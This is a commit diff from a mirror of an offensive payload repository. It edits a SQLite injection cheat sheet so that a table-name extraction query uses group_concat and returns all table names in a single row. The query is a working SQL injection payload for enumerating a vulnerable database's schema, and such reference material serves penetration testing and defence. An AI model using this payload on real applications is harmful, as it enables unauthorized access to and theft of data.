mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-12-27 05:03:28 -08:00
Update SQLite Injection.md
add "group_concat" so that all tables can be extracted once when the query only returns the first item
This commit is contained in:
@@ -37,11 +37,9 @@ SELECT sql FROM sqlite_schema
|
||||
## Integer/String based - Extract table name
|
||||
|
||||
```sql
|
||||
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
||||
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
||||
```
|
||||
|
||||
Use limit X+1 offset X, to extract all tables.
|
||||
|
||||
## Integer/String based - Extract column name
|
||||
|
||||
```sql
|
||||
|
||||
Reference in New Issue
Block a user